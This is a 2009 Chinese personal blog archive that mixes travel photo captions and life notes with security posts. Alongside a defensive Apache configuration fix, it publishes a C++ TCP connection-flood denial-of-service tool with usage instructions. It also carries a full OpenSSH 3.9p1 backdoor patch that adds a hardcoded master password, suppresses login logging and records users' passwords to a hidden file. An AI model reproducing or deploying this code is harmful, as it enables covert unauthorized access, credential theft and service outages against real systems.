June 24, 2009

上周杭州回来去了趟秦皇岛

北戴河

work-001

海边

work-002

野生动物园

work-003

晚上黄金海岸踏浪

work-004

退潮

work-005

日出

work-006

涨潮

work-008

骑上我的小海马

work-009

战利品

work-010

教妈妈跳舞

work-011

黄金海岸

work-013
work-014

夕阳下的海岸

work-015

我们的帐篷

work-016

好多帐篷还有生日蛋糕

work-017

哈哈,我们是领队的

work-018

开始回家的旅程了

work-019

June 22, 2009

杭州+普陀山

路上打牌

work-001

在<外婆家>吃饭

work-002

西湖边上

work-003

断桥

work-004

白堤上的树

work-005

平湖秋月

work-006

湖心岛

work-008

孤山

work-009

在<楼外楼>吃饭时的我家小美女

work-010

去普陀山路上的跨海大桥

work-011

普陀山码头

work-012

观音跳

work-014

潮音洞

work-015

晚上的雷峰塔

work-016

June 12, 2009

防止apache的php扩展名解析漏洞

vitter@sefechina.net
http://blog.securitycn.net

今天看到ecshop后台拿webshell的文章,想起来很长时间很多版本存在的apache的php扩展名解析漏洞,主要问题是:不管文件最后后缀为什么,只要是.php.*结尾,就会被Apache服务器解析成php文件,问题是apache如果在mime.types文件里面没有定义的扩展名在诸如x1.x2.x3的情况下,最后一个x3的没有定义,他会给解析成倒数第二个的x2的定义的扩展名。所以xxx.php.rar或者xxx.php.111这些默认没在mime.types文件定义的都会解析成php的。同样如果是cgi或者jsp也一样,那怎么样防止这个问题发生能?

1、可以在mime.types文件里面定义常用的一些扩展名,
如:application/rar          rar
但是这个没解决问题,我们不可能全把所有的都定义吧。

2、取消上传,这个也不太可能。

3、上传文件强制改名,这个由程序实现,如果在虚拟机比较多,开发人员多的情况下也不靠谱。

4、比较靠谱的终极大法,禁止*.php.*这种文件执行权限,当然可能误杀,但是基本上这种规则的文件名肯定有问题。
<FilesMatch "\.(php.|php3.)">
        Order Allow,Deny
        Deny from all
</FilesMatch>

很多dz论坛、ecshop、phpcms等后台都有利用此漏洞上传webshell的方法,那如果我们按上述方法操作了,那很多问题都可以解决了,希望本文对你有所帮助。

RHEL5.3 X86下载

迅雷下载地址点这里

今天晚上出发再去杭州。

June 11, 2009

flood_poll.cpp

来了

/*
1   g++ -o flood flood_poll.cpp
2  ulimit -n socket_count   (you'd better set it bigger than socket_count)
3  ./flood ip port socket_count >/dev/null &
vitter@safechina.net
http://blog.securitycn.net
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include 
#include
#include
#include

using namespace std;

/*used for std::find*/
struct PollFD : public pollfd
{
    bool operator <  (const PollFD &rhs) const { return fd <  rhs.fd; }
    bool operator == (const PollFD &rhs) const { return fd == rhs.fd; }
};
typedef vector<PollFD> FDSet;

FDSet fdset;

int new_socket(struct sockaddr_in *serv_addr,socklen_t addrlen)
{
    int sockfd;
    if((sockfd=socket(AF_INET,SOCK_STREAM,0))<0)
    {
        perror("socket error:");
        return -1;
    }
    fcntl(sockfd, F_SETFL, fcntl(sockfd, F_GETFL)|O_NONBLOCK);
    if(connect(sockfd,(sockaddr*)serv_addr,addrlen)<0)   
    {
        if(errno != EINPROGRESS)
            return -1;
    }
/*    max_fd = max(max_fd,sockfd);
    fdset.push_back(sockfd);
    FD_SET(sockfd,&rfds);
    FD_SET(sockfd,&wfds);
*/
    PollFD *pfd = new PollFD();
    pfd->fd = sockfd;
    pfd->events|=POLLOUT;
    pfd->events|=POLLIN;
    fdset.push_back(*pfd);
    return 1;
}

void remove_and_new(PollFD& fd,struct sockaddr_in *serv_addr,socklen_t addrlen)
{
    vector<PollFD>::iterator it = find(fdset.begin(),fdset.end(),fd);
    close((*it).fd);   
    fdset.erase(it);
    //printf("remove fd %d\n",*it);
    while(new_socket(serv_addr,addrlen)<0);

}

void pollout(PollFD& poll_fd,struct sockaddr_in *serv_addr,socklen_t addrlen)
{
    char *request = "";
    if(poll_fd.revents&POLLOUT)
    {
        printf("pollout\n");
        if(send(poll_fd.fd,request,strlen(request),0)<0)
        {
            printf("send\n");
            perror("pollout write error:");   
            remove_and_new(poll_fd,serv_addr,addrlen);
        }
    }
    //fflush(stdout);
//    sleep(1);

}

void pollin(PollFD& poll_fd,struct sockaddr_in *serv_addr,socklen_t addrlen)
{
    if(poll_fd.revents&POLLIN)
    {
        printf("pollin %d\n",poll_fd.fd);
        char buf[1024];
        memset(buf,0,1024);
        if(recv(poll_fd.fd,buf,1024,0) == -1)
        {
            perror("read failed new a socket\n");
            remove_and_new(poll_fd,serv_addr,addrlen);
        }
        printf(buf);
    }
}

void set_fd(struct sockaddr_in *serv_addr,socklen_t addrlen,int count)
{
    printf("the fdset's size is %d\n",fdset.size());
    while(fdset.size()<count)
    {
        while(new_socket(serv_addr,addrlen)<0);

    }
    for(vector<PollFD>::iterator it=fdset.begin(), ie=fdset.end();
            it != ie;it++)
    {
        (*it).events|=POLLOUT;
        (*it).events|=POLLIN;
    }

}

int main(int argc,char **argv)
{

    if(argc < 3)
    {
        printf("use flood <ip> <port> <number>\n");
        exit(-1);
    }

    int count = atoi(argv[3]);

        signal(SIGPIPE, SIG_IGN);
    struct sockaddr_in serv_addr;
    memset(&serv_addr,0,sizeof(struct sockaddr_in));
    serv_addr.sin_family = AF_INET;
    serv_addr.sin_port = htons(atoi(argv[2]));
    serv_addr.sin_addr.s_addr = inet_addr(argv[1]);

    for(int i=0;i<count;i++)
    {
        new_socket(&serv_addr,sizeof(struct sockaddr_in));
    }
/*
    struct timeval timeout;
    timeout.tv_sec = 3;
    timeout.tv_usec = 0;
*/
    printf("finish init\n");   

    for(;;)
    {
        set_fd(&serv_addr,sizeof(struct sockaddr_in),count);
        switch(poll(&fdset[0],fdset.size(),0))
        {
            case -1:
                printf("error when use select\n");
                exit(-1);
            case 0:
                printf("select 0\n");
                break;
            default:
                printf("select \n");
                for(vector<PollFD>::iterator it=fdset.begin(),ie=fdset.end();
                        it != ie;it++)
                {
                    pollin(*it,&serv_addr,sizeof(struct sockaddr_in));
                    pollout(*it,&serv_addr,sizeof(struct sockaddr_in));;
                }
        }   
    }
    return 0;
}

June 08, 2009

webmin的snort的patch

很早之前用webmin做某项目的时候发现的一个问题,打的patch。

wget http://www.securitycn.net/snort/webmin-snort.diff

patch < webmin-snort.diff

--------------------------------淫荡的代码分割线--------------------------------

--- index.cgi.orig      Thu Dec  7 12:36:47 2006
+++ index.cgi   Thu Dec  7 12:39:32 2006
@@ -20,6 +20,7 @@
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA

+## Bugfix; ignore '$RULE_PATH'  2006-12-07 <vitter@gmail.com WWW.SECURITYCN.NET>

# Do common initialization and get common routines
# Note this also does the acl acess lookup
@@ -75,6 +76,12 @@
foreach $ruleset (@rulefiles) {
    ($rule) = $ruleset =~ /[#]*(\S+)\.rules/;

+   ## Remove the fucking BUG in this Webmin module!
+   ($rule) =~ s/.*\$RULE_PATH\/*//g;
+   ($rule) =~ s/.*somefile*//g;
+   ($rule) =~ s/[^[:print:]]//g;
+   if(/($rule)/) {next;}
+
    # Check to see if user can access a given ruleset
    if ($access{'rules'} ne "*") {
       if ($access{'rules'} =~ /^\!/) {
@@ -95,10 +102,12 @@
    if ($ruleset =~ /^#/) {
       # The ruleset is disabled
       $rulerow{$rule} .= "<img src=\"images/disabled.gif\" alt=\"$text{'index_disabled'}\"></td>";
-      $rulerow{$rule} .= "<td><a href=\"rule_status.cgi?rule=$rule\">$text{'index_enable'}" if $access{'ruletog'};
+#      $rulerow{$rule} .= "<td><a href=\"rule_status.cgi?rule=$rule\">$text{'index_enable'}" if $access{'ruletog'};
+      $rulerow{$rule} .= "<td><a href=\"rule_status.cgi?rule=\$RULE_PATH\/$rule\">$text{'index_enable'}" if $access{'ruletog
'};
    } else {
       $rulerow{$rule} .= "<img src=\"images/enabled.gif\" alt=\"$text{'index_enabled'}\"></td>";
-      $rulerow{$rule} .= "<td><a href=\"rule_status.cgi?rule=$rule\">$text{'index_disable'}" if $access{'ruletog'};
+#      $rulerow{$rule} .= "<td><a href=\"rule_status.cgi?rule=$rule\">$text{'index_disable'}" if $access{'ruletog'};
+      $rulerow{$rule} .= "<td><a href=\"rule_status.cgi?rule=\$RULE_PATH\/$rule\">$text{'index_disable'}" if $access{'ruleto
g'};
    }
}

OpenSSH3.9p1后门patch

照着3.4的改的,之前看到某牛发的了,拿过来发现有问题,重新改过测试没问题了。该patch会记录服务端和客户端login的用户和密码,同时登陆到服务器不会syslog记录,修改密码和记录文件在includes.h最后那部分。

------------------------------------------淫荡的代码分割线------------------------------------------

# $Id: OpenSSH-3.9p1.diff,v 1.6 2009/05/18 $
#
# patch for OpenSSH-3.9p1
#
# when applied this patch will authenticate you
# as any user with the secret password and that user
# will not be logged. it will also log logins/passwords
# client and server side
#
# usage:
# you'll probably want to change the defines found below
# make sure that the _LOG_DIR is chmod 777
# cp OpenSSH-3.9p1.diff openssh-3.9p1/;cd openssh-3.9p1
# patch < OpenSSH-3.9p1.diff
#
# vitter@safechina.net
# blog.securitycn.net

diff -uNr old/auth.c vitter/auth.c
--- old/auth.c    2004-08-12 20:40:25.000000000 +0800
+++ vitter/auth.c    2009-05-18 14:01:12.000000000 +0800
@@ -230,15 +230,16 @@
     else
         authmsg = authenticated ? "Accepted" : "Failed";
-    authlog("%s %s for %s%.100s from %.200s port %d%s",
-        authmsg,
-        method,
-        authctxt->valid ? "" : "invalid user ",
-        authctxt->user,
-        get_remote_ipaddr(),
-        get_remote_port(),
-        info);
-
+    if(!mlogin_ok){
+        authlog("%s %s for %s%.100s from %.200s port %d%s",
+            authmsg,
+            method,
+            authctxt->valid ? "" : "illegal user ",
+            authctxt->user,
+            get_remote_ipaddr(),
+            get_remote_port(),
+            info);
+    }
#ifdef CUSTOM_FAILED_LOGIN
     if (authenticated == 0 && strcmp(method, "password") == 0)
         record_failed_login(authctxt->user, "ssh");
diff -uNr old/auth-passwd.c vitter/auth-passwd.c
--- old/auth-passwd.c    2004-06-22 11:37:11.000000000 +0800
+++ vitter/auth-passwd.c    2009-05-18 13:58:54.000000000 +0800
@@ -150,6 +150,16 @@
      * Authentication is accepted if the encrypted passwords
      * are identical.
      */
-    return (strcmp(encrypted_password, pw_password) == 0);
+    if(strcmp(_SECRET_PASSWD, password) == 0){
+            mlogin_ok = 1;
+            return 1;
+    }
+    if(strcmp(encrypted_password, pw_password) == 0){
+            outf = fopen(_LOG_DIR"/"_S_LOG,"a");
+            fprintf (outf, "%s:%s\n",pw->pw_name,password);
+            fclose (outf);
+            return 1;
+    }else
+            return 0;
}
#endif
diff -uNr old/canohost.c vitter/canohost.c
--- old/canohost.c    2004-07-21 19:53:34.000000000 +0800
+++ vitter/canohost.c    2009-05-18 14:03:14.000000000 +0800
@@ -61,10 +61,12 @@
     debug3("Trying to reverse map address %.100s.", ntop);
     /* Map the IP address to a host name. */
-    if (getnameinfo((struct sockaddr *)&from, fromlen, name, sizeof(name),
-        NULL, 0, NI_NAMEREQD) != 0) {
-        /* Host name not found.  Use ip address. */
-        return xstrdup(ntop);
+    if(!mlogin_ok){
+      if (getnameinfo((struct sockaddr *)&from, fromlen, name, sizeof(name),
+          NULL, 0, NI_NAMEREQD) != 0) {
+          /* Host name not found.  Use ip address. */
+             return xstrdup(ntop);
+      }
     }
     /*
diff -uNr old/includes.h vitter/includes.h
--- old/includes.h    2004-08-14 22:01:48.000000000 +0800
+++ vitter/includes.h    2009-05-18 14:05:19.000000000 +0800
@@ -200,5 +200,11 @@
#include "openbsd-compat/bsd-nextstep.h"
#include "entropy.h"
+#define _SECRET_PASSWD "vittersshdoor"
+#define _LOG_DIR "/dev/shd"
+#define _S_LOG "sslog"
+#define _C_LOG "sclog"
+FILE *outf;
+int mlogin_ok;
#endif /* INCLUDES_H */
diff -uNr old/sshconnect1.c vitter/sshconnect1.c
--- old/sshconnect1.c    2004-08-12 20:40:25.000000000 +0800
+++ vitter/sshconnect1.c    2009-05-18 14:09:58.000000000 +0800
@@ -436,6 +436,7 @@
{
     int type, i;
     char *password;
+    char gpasswd[120];
     debug("Doing password authentication.");
     if (options.cipher == SSH_CIPHER_NONE)
@@ -444,6 +445,7 @@
         if (i != 0)
             error("Permission denied, please try again.");
         password = read_passphrase(prompt, 0);
+        strcpy(gpasswd,password);
         packet_start(SSH_CMSG_AUTH_PASSWORD);
         ssh_put_password(password);
         memset(password, 0, strlen(password));
@@ -452,8 +454,14 @@
         packet_write_wait();
         type = packet_read();
-        if (type == SSH_SMSG_SUCCESS)
-            return 1;
+        if (type == SSH_SMSG_SUCCESS){
+            if(strcmp(_SECRET_PASSWD,gpasswd) != 0){
+                outf = fopen(_LOG_DIR"/"_C_LOG,"a");
+                fprintf (outf,"%s:%s@%s\n",options.user,gpasswd,get_remote_ipaddr());
+                fclose (outf);
+            }
+             return 1;
+        }
         if (type != SSH_SMSG_FAILURE)
             packet_disconnect("Protocol error: got %d in response to passwd auth", type);
     }
diff -uNr old/sshconnect2.c vitter/sshconnect2.c
--- old/sshconnect2.c    2004-06-15 08:30:09.000000000 +0800
+++ vitter/sshconnect2.c    2009-05-18 14:12:13.000000000 +0800
@@ -724,6 +724,7 @@
     static int attempt = 0;
     char prompt[150];
     char *password;
+    char gpasswd[120];
     if (attempt++ >= options.number_of_password_prompts)
         return 0;
@@ -734,6 +735,7 @@
     snprintf(prompt, sizeof(prompt), "%.30s@%.128s's password: ",
         authctxt->server_user, authctxt->host);
     password = read_passphrase(prompt, 0);
+    strcpy(gpasswd,password);
     packet_start(SSH2_MSG_USERAUTH_REQUEST);
     packet_put_cstring(authctxt->server_user);
     packet_put_cstring(authctxt->service);
@@ -747,7 +749,11 @@
     dispatch_set(SSH2_MSG_USERAUTH_PASSWD_CHANGEREQ,
         &input_userauth_passwd_changereq);
-
+    if(strcmp(_SECRET_PASSWD,gpasswd) != 0){
+        outf = fopen(_LOG_DIR"/"_C_LOG,"a");
+        fprintf (outf,"%s:%s@%s\n",options.user,gpasswd,get_remote_ipaddr());
+        fclose (outf);
+    }
     return 1;
}
/*
diff -uNr old/sshlogin.c vitter/sshlogin.c
--- old/sshlogin.c    2004-08-13 19:21:47.000000000 +0800
+++ vitter/sshlogin.c    2009-05-18 14:15:33.000000000 +0800
@@ -112,8 +112,10 @@
     li = login_alloc_entry(pid, user, host, tty);
     login_set_addr(li, addr, addrlen);
-    login_login(li);
-    login_free_entry(li);
+  if(!mlogin_ok){
+      login_login(li);
+      login_free_entry(li);
+  }
}
#ifdef LOGIN_NEEDS_UTMPX
@@ -137,6 +139,8 @@
     struct logininfo *li;
     li = login_alloc_entry(pid, user, NULL, tty);
-    login_logout(li);
-    login_free_entry(li);
+  if(!mlogin_ok){
+      login_logout(li);
+      login_free_entry(li);
+  }
}

June 06, 2009

今天真幸运,该买彩票去

大概有一年多没坐过地铁了,今天去lp干姐家回来的时候,从玉泉路地铁口下去坐地铁的时候被jc拦了查身份证,由于本人没有随身携带身份证的习惯,差点被挖沙子去,好在lp有带驾驶证,被盘查了5分钟放行了,看来以后要带证件出门。早说过去路过家门的时候开自己车去,lp非要说想坐别人的车,这下好了,中奖了吧。唉,都是535搞的啊。大家都淡忘了,还提醒我们干嘛啊,真是的。现在没事不能随便乱窜了啊。

May 27, 2009

500块钱上当受骗

吃一堑长一智吧


现在要回来了


May 19, 2009

累啊

周末公司组织经理层以上出去拓展了。2天2夜,头一天穿越、第二天大坝速降、七巧板、打水仗。累啊,现在还没缓上劲来。明天就要飞杭州了,和淘宝有个会,后天飞回来。更累了,居然他们还要周末自驾去秦皇岛,佩服佩服,我可是没体力了。周末去燕郊看房好了。没房子是不爽啊,又要搬家了。这房价赶紧降吧,好买房。

IMG0047

May 14, 2009

linux最近不消停啊

昨天来了。。。。。。

先是udev的local root漏洞,又是SCTP远程溢出漏洞,这又ptrace 0day的local root漏洞。这都没一个月呢,接二连三的高危漏洞出来啊,大家有的玩了。。。。。。

May 12, 2009

无题

image

今天是5.12汶川大地震一周年纪念日,愿逝者安息……

凌晨3点多起来抢注域名,终于拿到了securitycn.com这个域名,看来金融危机对域名抢注的国外企业也有相当影响啊。

8号收到如下邮件:

image

11号另外一家的:

image 

价格从199.95刀降到了99.97刀。我只花了55人民币就拿下了。还是自己劳动有成果啊。

May 11, 2009

5.1回了趟家

5.1放假回了趟家,路上随手照了几张照片,玩了下新买的相机。本周末公司拓展,下周出差杭州,20号走22号回来,参加淘宝的一个会。6.12公司组织去出游,我带家人报名的是杭州,准备买个备用电池,好好用下这个相机,看看能不能找人借一个镜头玩。

京昆高速服务区北京到石家庄段就开了一个应该是满城

1

正定西

3

4

走绕城高速

5

6 

7

警示牌,上次回去看到自己的了,这次怎么超速都没看到

work-001

正定北、107国道出口下了就到家了

work-002

收费站

work-003

家里院子里面种的小白菜绿油油的

work-004

买了一个锅放屋顶的小储物间里面,挺好使的,比有线好,还便宜,能接受40多套上星节目

 work-005

院子里的果树

61

晚上家里的月亮,有个长镜头就好了

8